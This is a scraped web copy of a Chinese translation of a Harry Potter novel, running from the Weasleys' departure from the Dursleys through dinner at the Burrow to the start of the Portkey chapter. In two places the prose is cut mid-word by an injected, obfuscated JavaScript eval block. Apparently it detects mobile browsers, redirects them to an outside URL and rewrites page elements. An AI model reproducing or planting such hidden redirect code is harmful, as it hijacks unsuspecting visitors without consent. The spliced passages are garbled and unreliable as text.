韦斯莱先生在房间里东张西望。凡是与麻瓜有关的事,他都喜欢。哈利看得出来,他特别渴望走过去仔细看看电视机和录像机。 “它们是用电的,是吗?”他很有学问地说,“啊,对,我看见插头了。我收集插头,”他又对弗农姨父说,“还有电池。收集了很多很多电池。我太太以为我疯了,可是你瞧,我说对了吧。” 弗农姨父显然也以为韦斯莱先生疯了。他几乎不为人察觉地向右移动了一点儿,用身体挡住了佩妮姨妈,好像他以为韦斯莱先生会突然跳起来,向他们发起进攻似的。 忽然,达力又出现在房间里。哈利可以听见箱子在楼梯上拖动的声音,他知道是这声音把达力吓得从厨房里逃了出来。达力贴着墙根移动,用极度惊恐的眼睛盯着韦斯莱先生,拼命想让自己躲在爸爸妈妈身后。不幸的是,弗农姨父的大块头可以绰绰有余地遮挡住瘦巴巴的佩妮姨妈,可要挡住达力,那是根本不可能的。 “啊,这就是你的表哥,是吗,哈利?”韦斯莱先生再次鼓起勇气,尝试着与他们交谈。 “是啊,”哈利说,“他就是达力。” 他和罗恩交换了一个眼色,赶紧又把目光移向了别处。他们太想大笑一场了,简直克制不住。 达力仍然紧紧捂住屁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15593738|167802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 股,似乎生怕屁股会掉下来。韦斯莱先生倒是真心为达力的古怪行为感到担忧。确实,从他接下来说话的语气来看,哈利可以肯定韦斯莱先生认为达力疯了,就像德思礼夫妇认为韦斯莱先生疯了一样,不过韦斯莱先生感到的是同情而不是恐惧。 “假期过得好吗,达力?”他和蔼地问。 达力呜咽了一声。哈利看到他用双手把肥胖的屁股捂得更紧了。 弗雷德和乔治搬着哈利上学的箱子回到客厅。他们一直来就东张西望,一见达力,两人脸上同时绽开了一模一样的坏笑。 “啊,好吧,”韦斯莱先生说,“我们最好行动起来吧。” 他卷起长袍的袖子,抽出魔杖。哈利看见德思礼一家三口以同样的姿势退到墙边。 “火焰熊熊!”韦斯莱先生用魔杖指着他身后墙上的那个洞说道。 壁炉里立刻蹿起火苗,噼噼啪啪地燃得很旺,就好像已经燃了好几个小时了。 韦斯莱先生从口袋里掏出一个束着拉绳的小袋子,把它打开,从里面捏出一点粉末投进火里,火焰马上变成了碧绿色,火苗蹿得比刚才还高。 “弗雷德,你上路吧。”韦斯莱先生说。 “这就走,”弗雷德说,“哦,糟糕——等一等——” 一袋糖果从弗雷德的口袋里滑落出来,里面的糖滚得到处都是——又大又圆的太妃奶糖,包着花花绿绿的糖衣。 弗雷德伏在地上,手忙脚乱地把糖捡了起来,塞回自己的口袋,然后开心地朝德思礼一家挥挥手,向前跨了几步,径直走进火焰中,说了一句:“陋居!” 佩妮姨妈倒抽了一口冷气,打了一个寒战。只听嗖的一声,弗雷德不见了。 “好了,乔治,”韦斯莱先生说,“你带着箱子走吧。” 哈利和乔治一起搬着箱子走向火焰,然后把箱子竖了起来,使乔治可以拿得稳当一些。接着,乔治大喊一声:“陋居!”又是嗖的一声,也一下子消失了。 “罗恩,轮到你了。”韦斯莱先生说。 “再见。”罗恩高高兴兴地对德思礼一家说。 他朝哈利笑了笑,一步跨进火中,喊道:“陋居!”随后也不见了。 只有哈利和韦斯莱先生还没有走。 “好吧......那就,再见了。”哈利对德思礼一家说。 他们一句话也没有说。哈利朝火焰走去,刚走到壁炉边,韦斯莱先生伸出一只手,把他拉了回来。韦斯莱先生正惊愕地望着德思礼一家。 “哈利对你们说了再见,”他说,“你们没有听见吗?” “没关系,”哈利小声地对韦斯莱先生说,“说实在的,我并不在乎。” 韦斯莱先生没有把手从哈利肩膀上松开。 “你要到明年夏天才能见到你的外甥呢,”他微微有些愤怒地对弗农姨父说,“你总要说一句再见吧?” 弗农姨父气得脸都变了。一个刚刚炸毁他客厅半面墙壁的人,居然要来教他学会尊重人,这似乎给他带来了极大的痛苦。可是韦斯莱先生手里还拿着魔杖呢,弗农姨父的小眼睛扫了一下魔杖,然后非常恼火地说:“好吧,再见。” “再见。”哈利说完,把一只脚伸进了绿色的火焰,感觉它就像温暖的呼吸。就在这时,他身后突然传来一阵可怕的干呕声,佩妮姨妈失声惊叫起来。 哈利转过身来,达力已经不再躲在他父母身后了,而是跪在咖啡桌旁,嘴里冒出一尺来长的、黏糊糊的紫红色的东西,害得他不停地干呕,呜噜呜噜地叫唤着。 哈利只纳闷了一刹那就明白了,那一尺来长的东西是达力的舌头——达力面前的地板上有一张花花绿绿的太妃糖纸。 佩妮姨妈猛地扑向达力,抓住他膨胀的舌尖,拼命想把舌头从他嘴里拨出来。自然喽,达力大声惨叫,呜噜呜噜地叫得比刚才更响了,一边使劲儿想摆脱她。弗农姨父胡乱挥舞着双手,大发雷霆,韦斯莱先生不得不直着嗓子喊叫,才使他们听见了他的说话。 “不用担心,我来解决这个问题!”他喊道,一边举着魔杖,朝达力走去,可是佩妮姨妈叫得更厉害了,并且扑在了达力身上,生怕韦斯莱先生伤害他。 “哦,别这样!”韦斯莱先生绝望地说,“办法很简单——都是那颗太妃糖惹的祸——我儿子弗雷德——整天就喜欢搞恶作剧——不过没关系,只是一种膨胀魔法——至少我认为是这样——请让开,我可以纠正过来——” 可是德思礼夫妇不仅没有放宽心,反而更紧张了。佩妮姨妈一边歇斯底里地抽泣着,一边使劲拽住达力的舌头,好像下定决心要把它连根拨掉似的。达力在他母亲和他甜头的双重压力下,似乎要窒息了。 弗农姨父已经完全失去了控制,一把抓起餐具柜顶上的一个瓷像,狠狠地朝韦斯莱先生扔了过去。韦斯莱先生低头一躲,那个装饰品在被炸毁的壁炉上摔得粉碎。 “好了,别闹了!”韦斯莱先生恼火地说,一边挥舞着他的魔杖,“我是真心想帮助你们!” 弗农姨父像一匹受伤的河马那样咆哮起来,又抓起一个装饰品。 “哈利,快走!快走!”韦斯莱先生用魔杖指着弗农姨父,喊道:“我来解决这件事!” 哈利不想错过这个热闹,可是弗农姨父扔过来的第二件装饰品擦着他的左耳飞了过去。 他权衡利弊,觉得最好还是让韦斯莱先生独自对付这个局面。 他跨进火焰,说了一声:“陋居!”一边还扭头望着。 他最后匆匆瞥了一眼客厅,只见韦斯莱先生用魔杖把弗农姨父手里第三个装饰品炸成了碎片。佩妮姨妈伏在达力身上尖声大叫,达力的舌头伸在嘴巴外面,像一条滑溜溜的大蟒蛇。 接着,哈利开始在熊熊的碧绿色的火焰中飞速地旋转起来,德思礼家的客厅消失了。 66.韦斯莱魔术把戏 哈利越转越快,胳膊肘紧紧地贴在身体两侧,无数个壁炉飞速闪过,快得简直看不清楚。最后他感到有些恶心,闭上了眼睛。随后,就在他觉得自己快要吐了的时候,他猛地伸出双手,及时刹住。 还好,他差点儿脸朝下摔倒在韦斯莱家厨房的壁炉外面。 “他吃了吗?”弗雷德兴奋地问,一边伸过一只手,把哈利拉了起来。 “吃了,”哈利说着,站起身子,“那是什么东西?” “肥舌太妃糖,”弗雷德眉飞色舞地说,“乔治和我发明的,整个夏天,我们一直想找个人试一试......” 小小的厨房里爆发出一阵大笑,哈利环顾四周,看见罗恩和乔治坐在擦得干干净净的木桌旁,旁边还有两个红头发的人,哈利以前没有见过,不过他马上就知道了,他们一定是韦斯莱兄弟中最大的两个:比尔和查理。 “你还好吗,哈利?”两兄弟中离哈利最近的那个咧开嘴笑着,伸出一只大手。哈利握了握,感到自己的手指触摸到的是许多老茧和水泡。这一定是查理,他在罗马尼亚研究火龙。 查理的身材和那双胞胎差不多,比豆芽菜一般的珀西和罗恩要矮、胖、结实一些。他长着一副好好先生似的阔脸,饱经风霜,脸上布满密密麻麻的雀斑,看上去几乎成了棕黑色。他的手臂肌肉结实,一只手臂上有一道被火灼伤的发亮的大伤疤。 比尔站了起来,笑着,也同哈利握了握手。 比尔的样子多少令人感到有些意外。哈利知道他在古灵阁,即巫师银行工作,而且上学的时候还是霍格沃茨城堡的男生学生会主席。哈利一向以为比尔是珀西的翻版,只是年龄大几岁而已,也是那样对违反校规大惊小怪,还喜欢对周围的每个人发号施令。 今天一看,才知道不是这样,比尔一副——没有别的词的可以形容——很“酷”的样子。他个子高高的,长长的头发在脑后扎成一个马尾,耳朵上还戴着一只耳环,上面悬着一个小扇子似的东西。比尔的那身衣服,即使是去参加摇滚乐音乐会也不会显得不合适。不过哈利看出来了,他的那双靴子不是牛皮而是龙皮做的。 大家还没来得及说话,就听见一阵轻微的爆裂声,韦斯莱先生在乔治身边突然冒了出来。 他气坏了,哈利从没见过他这么生气。 “这不是开玩笑的事情,弗雷德!”他嚷道,“你到底给那个麻瓜男孩吃了什么?” “我什么也没给他,”弗雷德脸上带着坏笑说,“我只是不小心撒在地上......谁叫他自己捡起来吃的,这可不能怪我。” “你是故意把它弄撒的!”韦斯莱先生怒吼道,“你知道他肯定会吃的,你知道他在减肥——” “他的舌头肿得多大?”乔治急切地问。 “一直肿到四尺多长,他父母才让我把它给缩小了!” 哈利和韦斯莱兄弟又一次哈哈大笑起来。 “这不是开玩笑!”韦斯莱先生大声嚷道,“这种行为严重损害了巫师和麻瓜的关系!我一生致力于反对虐待麻瓜的工作,结果我自己的儿子——” “我们不是因为他是麻瓜才给他的!”弗雷德气愤地说。 “是啊,我们捉弄他是因为他专门欺负人。”乔治说,“是吗,哈利?” “没错,他就是那样,韦斯莱先生。”哈利很认真地说。 “问题不在这里!”韦斯莱先生气呼呼地说,“你们等着吧,我要告诉你们的妈妈——” “告诉我什么?”他们身后传来一个声音。 韦斯莱夫人正巧走进厨房。她是一个矮矮胖胖的女人,面容非常慈祥,不过此刻眼睛眯着,露出怀疑的神色。 “你好,哈利,亲爱的。”她看见哈利,微笑着对他打了个招呼。接着,她又把目光投到丈夫身上,“告诉我,亚瑟,怎么回事?” 韦斯莱先生迟疑着。哈利可以看出,他尽管对弗雷德和乔治很生气,却并不真的打算把事情告诉韦斯莱夫人。韦斯莱先生紧张地望着妻子,一时间没有人说话。 就在这时,两个女孩子出现在韦斯莱夫人身后的厨房门口。一个长着非常浓密的棕色头发,两个门牙很大,这是哈利和罗恩的好朋友赫敏·格兰杰。 另一个身材矮小,一头红发,是罗恩的小妹妹金妮。两个女孩都朝哈利露出了微笑,哈利也对她们笑着,这使金妮立刻羞红了脸——自从哈利第一次拜访陋居以来,金妮就对他非常迷恋。 “快说,亚瑟,怎么回事?”韦斯莱夫人又问了一句,口气有点儿吓人。 “没什么,莫丽,”韦斯莱先生含糊地说,“弗雷德和乔治刚才——我已经教训过他们了——” “他们这次又干了什么?”韦斯莱夫人说,“如果又和那些韦斯莱魔法把戏有关——” “罗恩,我们带哈利去看看他睡觉的地方好不好?”赫敏在门口说。 “他知道他睡在哪儿,”罗恩说,“在我的房间,他去年就睡在那儿——” “我们都去看看。”赫敏严厉地说。 “噢,”罗恩这才心领神会,“好吧。” “对了,我们也去。”乔治说。 “你们不许动!”韦斯莱夫人大吼一声。 哈利和罗恩小心翼翼地侧身溜出厨房,和赫敏、金妮一起,穿过狭窄的过道,踏上摇摇晃晃的楼梯。那楼梯曲里拐弯,通向上面的几个楼层。 “韦斯莱魔法把戏是什么东西?”他们上楼时,哈利问道。 罗恩和金妮都大笑起来,只有赫敏没笑。 “妈妈打扫弗雷德和乔治的房间时,发现了那一沓订货单,”罗恩小声说,“长长的好几页价格表,上面都是他们发明的玩意儿。搞笑的东西,你知道的。假魔杖啦,魔法糖啦,一大堆东西。真是太棒了,我从来不知道他们一直在搞发明......” “好长时间了,我们总是听见他们房间里有爆炸的声音,但从来没想到他们真的在做东西,”金妮说,“我们还以为他们只是喜欢听响儿呢。” “不过,那些东西大多数——唉,实际上是全部——都有点儿危险。”罗恩说,“你知道吗,他们计划把这些东西拿到霍格沃茨去卖,挣一笔钱。妈妈听说以后,简直气疯了。警告他们不许再搞这类玩意儿,还把他们的订货单烧了个精光......她一直就在生他们的气,他们的O.W.Ls成绩也让她失望。” O.W.Ls是普通巫师等级考试,是霍格沃茨学校的学生十五岁时参加的一种考试。 “那一次吵得可凶了。”金妮说,“妈妈想让他们今后进魔法部工作,像爸爸那样,可他们对她说,他们只想开一家玩笑商店。” 就在这时,二楼平台上的一扇门打开了,从里面伸出一张脸来,戴着牛角边的眼镜,表情很不耐烦。 “你好,珀西。”哈利说。 “噢,你好,哈利。”珀西说,“我不明白是谁弄出这么大的响动。你知道,我正在这里工作呢——我要为办公室赶写一份报告——可是老有人在楼梯上轰隆隆地乱跑,使我很难集中精力。” “我们没有轰隆隆地乱跑,”罗恩恼火地说,“我们在走路。如果我们打扰了魔法部的最高机密工作,那么很抱歉。” “你在忙些什么?”哈利问。 “为国际魔法合作司写一份报告。”珀西得意地说,“我们准备按标准检验坩埚的厚度。有些外国进口产品的埚底太薄了——渗漏率几乎以每年百分之三的速度在增长——” “真了不起,这份报告会改变世界的。”罗恩说,“我想,《预言家日报》会在头版头条登出来:坩埚渗漏。” 珀西的脸涨成了粉红色。 “你尽管挖苦嘲笑吧,罗恩,”他激动地说,“可是必须颁布施行某种国际法,不然我们就会发现市场上充斥着劣质产品,埚底薄,脆弱易碎,严重危害——” “好了,好了。”罗恩说着,又抬脚往楼上走。珀西重重地关上卧室的门。哈利、赫敏和金妮跟着罗恩,又爬了三层楼梯,仍然能听见下面厨房里传来的喊叫声。似乎韦斯莱先生已经把太妃糖的事告诉了韦斯莱夫人。 罗恩睡觉的那个顶楼房间和哈利上次来住的时候没什么差别:还是到处都贴着罗恩喜欢的魁地奇球队——查德里火焰队的海报,那些队员们在墙壁和倾斜的天花板上飞来飞去,不消停地挥手致意。窗台上还是放着金鱼缸,里面原先养着蛙卵,现在却是一只大得吓人的青蛙。罗恩的那只老掉牙的老鼠斑斑不见了,取而代之的是那只到女贞路给哈利送信的灰色小猫头鹰。它在一只小笼子里跳上跳下,叽叽喳喳地叫个不停。 “闭嘴,小猪。”罗恩说着,侧身从两张床中间挤了过去:房间里一共放了四张床,挤得满满当当。 “弗雷德和乔治也和我们一起住在这里,因为比尔和查理把他们的房间占了,”他对哈利说,“珀西硬要一个人占一个房间,因为他要工作。” “对了——你为什么管那只猫头鹰叫小猪?”哈利问罗恩。 “因为它有点儿傻头傻脑,”金妮说,“原先的名字是朱薇琼。” “是啊,那个名字倒是一点儿也不傻。”罗恩讽刺地说。 “是金妮给它起的,”他对哈利解释道,“金妮觉得这名字特别可爱,我想把它换掉,已经来不及了,猫头鹰只认这个名字,叫它别的,它一概不理。所以现在它就成了小猪。埃罗尔和赫梅斯讨厌它,我只好把它养在这儿。说实在的,我也蛮讨厌它的。” 朱薇琼快活地在笼子里蹿来蹿去,发出刺耳的鸣叫。哈利太了解罗恩了,知道对他的话不能当真。原先,他也是整天抱怨他那只老耗子斑斑,可是当他以为赫敏的猫克鲁克山咬死了斑斑时,他别提多难过了。 “克鲁克山呢?”哈利又问赫敏。 “大概在外面的园子里吧。”她说,“它喜欢追赶地精,它以前从没见过这玩意儿。” “看来,珀西挺喜欢工作的,是吗?”哈利在一张床上坐下,看着天花板的海报上那些查德里火炮队的队员嗖嗖地飞来飞去。 “喜欢?”罗恩愁闷地说,“如果爸爸不把他硬拉回来,他根本不肯回家。他是个工作狂。你千万别引他谈起他们老板。克劳奇先生认为......我是这样对克劳奇先生说的......克劳奇先生是这样想的......克劳奇先生告诉我......他们现在随时都会宣布正式聘用他。” “你暑假过得好吗?”赫敏问,“你收到我们寄给你的那些好吃的和其他东西了吗?” “收到了,太感谢了。”哈利说,“多亏那些蛋糕,我才死里逃生。” “对了,你有没有收到——”罗恩刚说到一半,赫敏瞪了他一眼,他便不往下说了。哈利知道,罗恩想打听一下小天狼星的情况:罗恩和赫敏都积极参加了帮助小天狼星逃脱魔法部追捕的行动,所以他们像哈利一样关心他教父的安危。 可是,当着金妮的面谈论他是不明智的。只有他们和邓布利多教授知道,小天狼星是怎样逃跑的,并相信他是无辜的。 “我想他们大概吵完了。”赫敏看到金妮好奇地望望罗恩,又望望哈利。她为了掩饰这片刻的尴尬,说道,“我们下去帮你妈妈准备晚饭,好吗?” “行,好吧。”罗恩说。四个人离开了罗恩的房间,回到楼下,发现韦斯莱夫人正一个人在厨房里忙碌,情绪坏到了极点。 “我们在外面的园子里吃饭,”他们进去以后,她说,“这里可容不下十一个人。姑娘们,你们能把这些盘子端出去吗?比尔和查理在摆桌子呢。你们两个,拿刀叉。” 她一边吩咐罗恩和哈利,一边用魔杖点了点水池里的一堆土豆,可是没想到她用的劲儿大了一点,土豆自动脱皮的速度太快,一个个都蹿到墙上和天花板上去了。 “哎呀,天哪。”她恼火地说,又用魔杖对着一个侧立的簸箕点了一下。簸箕立刻就跳了起来,在地板上滑来滑去,把土豆一个个撮了起来。 “这两个家伙!”她恶狠狠地说,一边从碗柜里抽出许多大锅小锅,哈利知道她指的是弗雷德和乔治。“真不知道他们会变成什么样儿。没有一点雄心壮志,整天就知道变着法儿闯祸......” 韦斯莱夫人把一口黄铜大炖锅砰地扔在厨房的桌子,将魔杖伸进去呼呼地转着圈儿。随着她的搅拌,一股奶油酱从魔杖头上喷了出来。 “他们不是不聪明,”她把炖锅放在炉子上,又用魔杖捅了一下,把火点着,继续气鼓鼓地说着,“可那些聪明用的不是地方,除非他们很快振作起来,改邪归正,不然准会倒大霉的。从霍格沃茨飞来给他们告状的猫头鹰,比其他所有人的加起来都多。如果他们照这个样子下去,最后准会被送进滥用魔法办公室。” 韦斯莱夫人又用魔杖捅了一下放刀具的抽屉,抽屉猛地弹开了。 哈利和罗恩赶紧跳开,只见抽屉里蹿出好几把刀子,在厨房里飞过,开始嚓嚓地切起土豆来。那只簸箕刚才已经把土豆又倒进了水池。 “我真不明白我们什么地方教育得不对。”韦斯莱夫人说着,放下魔杖,又拽出几只炖锅,“好多年来一直是这样,出了一个乱子又一个乱子,根本听不进——哦,又不对!” 她从桌子拿起她的魔杖,结果魔杖发出一声刺耳的尖叫,变成了一只巨大的橡皮老鼠。 “又是他们搞的假魔杖!”她嚷嚷道,“我对他们说过多少遍了,不要把这些东西到处乱放!” 她抓起真魔杖,一转身,发现炉子上的奶油酱已经冒烟了。 “走吧,”罗恩从打开的抽屉里抓了一把餐具,急急地对哈利说,“我们去帮帮比尔和查理吧。” 他们撇下韦斯莱夫人,出了后门,进了园子。 刚走几步,他们就看见了赫敏的那只姜黄色的、罗圈腿的猫克鲁克山。它匆匆地在园子里跑来跑去,瓶刷子似的尾巴高高地竖着,正在追赶一个东西。那东西粘满泥巴,活像一个长了腿的土豆。哈利一眼就认出那是个地精。身高不足十英寸,坚硬的小脚啪哒啪哒地走得飞快,穿过园子,一头钻进散放在门边的一只惠灵顿皮靴里。 克鲁克山把一只爪子伸进了靴子,想抓住地精。哈利听见地精在里面疯狂地咯咯大笑。就在这时,房子的另一头传来一声震耳欲聋的撞击声。他们走进园子,这才发现这番骚动是怎么引起的。 他们看见比尔和查理都拔出了魔杖,正在调动两只破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15593739|167802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 破烂烂的旧桌子在草坪上飞着,互相撞击着,每只桌子都想把对方从空中打落。弗雷德和乔治在一旁欢呼,金妮哈哈大笑,赫敏在篱笆边徘徊,看样子又觉得好玩,又感到紧张,不知如何是好。 梆的一声,比尔的桌子击中了查理的桌子,把它的一条腿打掉了。这时,头顶上传来一阵清脆的撞击声。他们同时抬起头,看见珀西的脑袋从三楼的窗口探了出来。 “你们能不能小声点儿?”他吼道。 “对不起,珀西,”比尔笑嘻嘻地说,“坩埚底怎么样啦?” “很糟糕。”珀西没好气地说,砰的一声关上了窗户。比尔和查理轻声笑着,用魔杖指引着桌子稳稳地降落到草地上。然后,比尔用魔杖轻巧地一点,把那根桌腿重新接上,又凭空变出了桌布。 七点钟的时候,两张桌子在韦斯莱夫人妙手做出的一道道美味佳肴的重压下,累得直哼哼。韦斯莱一家九口,还有哈利和赫敏都坐了下来,在明净的深蓝色的夜空下吃饭。对一个整个夏天都吃着越来越不新鲜的蛋糕的人来说,现在他就像进了天堂一样。起先,哈利只顾大吃特吃着鸡肉、火腿、馅饼、煮土豆和沙拉和其它美味食物,根本顾不上说话。 在桌子的那一头,珀西正在告诉父亲他撰写坩埚底厚度报告的情况。 “我对克劳奇先生说,我星期二就能完成,”珀西挺得意地说,“比他预期的要快一些,但我想一切都争取主动。我如果按时完成,他会感到很满意的,因为目前我们司里事情特别多,都忙着筹备世界杯呢。我们从魔法体育运动司得不到我们所需要的支持。卢多·巴格曼——” “我喜欢卢多这个人,”韦斯莱先生温和地说,“多亏了他,替我们弄到这么好的世界杯球赛票。我原先帮过他一个小忙:他弟弟奥多出了点儿麻烦——把一架割草机弄出了许多特异功能——是我把整件事情摆平的。” “是啊,当然啦,巴格曼是挺可爱的,”珀西不以为然地说,“可是拿他和克劳奇先生一比,我真不明白他是怎么当上司长的!如果克劳奇先生发现我们司里有人失踪,一定会着手调查,而不会听之任之。你知道,伯莎·乔金斯已经失踪一个多月了!到阿尔巴尼亚度假,再也没有回来。” “是啊,我向卢多询问过这件事。”韦斯莱先生说着,皱起眉头,“他说在这之前,伯莎就失踪过好多次——不过说句实话,如果是我司里的人,我会感到担心......” “唉,伯莎这个人确实让人很伤脑筋。”珀西说,“我听说这些年,她从一个部门被赶到另一个部门,惹的麻烦比做的事情还多......但是不管怎么说,巴格曼还是应该想办法找找她。克劳奇先生个人一直很关注这件事,你知道,伯莎以前在我们司工作过一段时间,我认为克劳奇先生还是很喜欢她的——可巴格曼总是哈哈一笑,说伯莎大概是看错了地图,没有到阿尔巴尼亚,而是到了澳大利亚。不过,” 珀西派头十足地叹了口气,深深地饮了一口接骨木花酒,“我们国际魔法合作司要做的事情实在太多了,没有闲工夫替别的部门找人。你知道,世界杯之后,我们还要组织一项大型活动。” 珀西煞有介事似的清了清喉咙,扭头望着桌子这边哈利、赫敏坐的位置。 “你知道我说的是什么,爸。”他微微抬高了嗓门,“这是最高机密。” 罗恩翻了翻眼珠,低声对哈利和赫敏说:“自打他开始工作以来,就一直想逗我们问他那是什么。大概是一次厚坩埚的大型展览会吧。” 在桌子中央,韦斯莱夫人正在和比尔争论那枚耳环的事,看来这耳环是最近才戴上的。 “......上面还带着一个可怕的大长牙。真的,比尔,银行里的人怎么说?” “妈,银行里的人根本不关心我穿什么衣服,只要我能找回许多财宝就行。”比尔耐心地说。 “你的头发也难看得要命,亲爱的,”韦斯莱夫人一边说着,一边慈爱地抚摸着自己的魔杖,“我真希望你能让我修剪一下......” “我喜欢。”坐在比尔旁边的金妮说道,“妈,你太落伍了。而且,和邓布利多教授的头发比起来,这根本不算长......” 在韦斯莱夫人旁边,弗雷德、乔治和查理正在热烈地讨论世界杯赛。 “肯定是爱尔兰队胜出,”查理嘴里塞满了土豆,嘟嘟囔囔地说,“他们在半决赛时打败了秘鲁队。” “可是保加利亚队有威克多尔·克鲁姆呢。”弗雷德说。 “克鲁姆是不错,但他只是一个人,受尔兰队有七个好手呢,”查理不耐烦地说。“不过,我真希望英格兰队能够出线。真是太丢脸了。” “怎么回事?”哈利急切地问。他暑假里一直守在女贞路,与魔法世界完全隔绝,想起来真是懊恼透顶。 哈利自从在霍格沃茨上一年级时起,就进了格兰芬多的魁地奇球队。他还拥有世界上最棒的飞天扫帚火驽箭。对于哈利来说,骑着扫帚飞行是魔法世界里最轻松自然的事,他好像天生就具有这种本领。他在格兰芬多球队里担任找球手。 “输给了特兰西瓦尼亚队,十比三百九十。”查理愁眉苦脸地说,“表现糟糕透了。威尔士队败给了乌干达,苏格兰队被卢森堡队打得落花流水。” 韦斯莱先生变出了一些蜡烛,把渐渐暗下来的园子照亮了,然后大家开始享用自己家里做的草莓冰淇淋。大家都吃完了,飞蛾低低地在桌子上飞舞,温暖的空气中弥漫着青草和金银花的香气。 哈利觉得自己吃得很饱。他坐在那里,望着几只地精被克鲁克山紧紧追赶着,它们一边飞快地穿过蔷薇花丛,一边疯狂地大笑。这一刻,哈利真是从心底里感到满足。 罗恩小心地抬头望望桌子周围,看家里人是不是都忙着聊天,然后用很轻的声音对哈利说:“你说——你最近收到过小天狼星的来信吗?” 赫敏抬头张望了一下,仔细听着。 “收到过,”哈利小声说,“两次。看来他一切都好。我昨天给他写了封信。我住在这里的这段时间,他会给我回信的。” 他突然想起了他给小天狼星写信的原因,真想告诉罗恩和赫敏他伤疤又疼起来的事,告诉他们那个把他惊醒的噩梦......但是他又觉得现在这么幸福、满足,他不想让他们担心。 “看看时间吧,”韦斯莱夫人突然说道,一边看了看她的手表,“你们应该上床睡觉了,你们大家——明天凌晨要起床去看比赛。哈利,你把学习用品的采购单子留下来,我明天到对角巷去替你买来。我反正要给其他人买的。等世界杯结束后大概就来不及了,上次的比赛持续了整整五天。” “哇——真希望这次也这样!”哈利激动地说。 “噢,我可不希望。”珀西假正经地说,“我一下子离开五天,那我的文件筐里还不堆满了文件啊,想到这点,真让我不寒而栗。” “是啊,说不定又有人将龙粪塞在信封里寄给你呢,珀西。”弗雷德说。 “那是从挪威寄来的肥料样品!”珀西说着,脸涨得通红,“不是给私人的!” “其实,”大家起身离开桌子时,弗雷德悄悄对哈利说,“那是我们寄给他的。” 67.门钥匙 哈利觉得自己刚在罗恩的房间里躺下,还没睡一会儿,就被韦斯莱夫人摇醒了。 “该走了,哈利,亲爱的。”她小声说,一边又走过去唤醒罗恩。 哈利伸手摸到自己的眼镜戴上,坐了起来。外面还是一片漆黑。罗恩被她母亲唤醒时,嘴里含糊不清地嘟囔着什么。哈利看见床脚处有两个不规则的黑影从乱糟糟的毯子下面冒出来。 “怎么,已经到时间了?”弗雷德睡眼惺忪地问。 大家默默地穿衣服,都困得不愿说话。然后,他们四个下楼走进厨房,一边还在打哈欠,伸懒腰。 韦斯莱夫人正在搅拌炉子上一口大锅里的东西,韦斯莱先生坐在桌旁,核对一扎羊皮纸做成的大张球票。 男孩子们走进厨房时,他抬起头,展开双臂,好让他们看清楚他身上的衣服。他穿着一件像是高尔夫球衣一样的上衣和一条很旧的牛仔裤,裤子穿在他身上有点儿嫌大,他得束上一条牛皮皮带才能勒紧裤头。 “怎么样?”他急切地问,“我们去的时候应该隐瞒身份——我这样子像麻瓜吗,哈利?” “像,”哈利笑着说,“很不错。” “怎么不见比尔、查理和珀——珀——珀西?”乔治说,控制不住又打了个大哈欠。 “他们不是会幻影显形吗?”韦斯莱夫人说,一边把那口大锅放在桌上,开始把粥舀进一只只碗里,“所以他们可以睡一会儿懒觉。” 哈利知道,所谓幻影显形,就是从一个地方消失,一眨眼又在另一个地方重新出现,但是他从不知道霍格沃茨有哪个学生能做到这点,他知道这一定很难。 “这么说,他们还在呼呼大睡?”弗雷德气恼地问,“为什么我们不能也幻影显形呢?” “因为你们还不到年龄,还没有通过考试。”韦斯莱夫人回敬他一句。“那两个丫头上哪儿去了?” 她转身冲出厨房,他们听见她上楼的声音。 “幻影显形还要通过考试?”哈利问。 “噢,是的。”韦斯莱先生说着,把球票仔细地塞进牛仔裤后面的口袋里。“有一天,魔法交通司对两个人处以罚款,因为他们没有证书就擅自幻影显形。这可不是一件容易的事,如果做得不对,就会惹出麻烦,很讨厌的。我说的那两个人最后就身首分家了。” 餐桌上的人除了哈利,都皱起眉头,做出一副苦脸。 “哦——分家?”哈利问。 “他们把自己的半个身子丢下了,”韦斯莱先生说着,舀了很多糖浆,拌进他的粥里,“所以,自然啦,他们就被钉在了那里,两边都动弹不得。只好等逆转偶发事件小组去处理这件事。告诉你吧,这意味着要准备大量的文件材料,那些麻瓜看见了他们丢下的支离破碎的身体......” 哈利突然想到,如果两条大腿和一个眼球被遗弃在女贞路的人行道上,那该是什么情景啊。 “他们没事吧?”他惊恐地问。 “噢,没事,”韦斯莱先生平淡地说,“不过他们被狠狠地罚了一笔。我想他们大概不会再仓促行事了。你可千万不要拿幻影显形当儿戏。许多成年巫师都不愿惹这个麻烦。他们情愿用扫帚——虽然慢一些,可是安全。” “可是比尔、查理和珀西都会,是吗?” “查理考了两次才通过。”弗雷德嘻笑着说,“他第一次考砸了,在离原定目标以南五英里的地方显形,落到一个正在买东西的可怜的老太太的头顶上,记得吗?” “是啊,不过他第二次就通过了。”在一片开心的嘻笑声中,韦斯莱夫人大步回到了厨房。 “珀西是两个星期前才通过的。”乔治说,“从那以后,他每天早晨都幻影显形到楼下,就是为了证明他有这个本事。” 过道里传来了脚步声,赫敏和金妮走进厨房,两个人的脸色都显得很苍白,好像没有睡醒。 “我们干吗要这么早起来?”金妮揉着眼睛,在桌子旁坐下,问道。 “我们要走一段路呢。”韦斯莱先生说。 “走路?”哈利问,“怎么,我们步行去观看世界杯?” 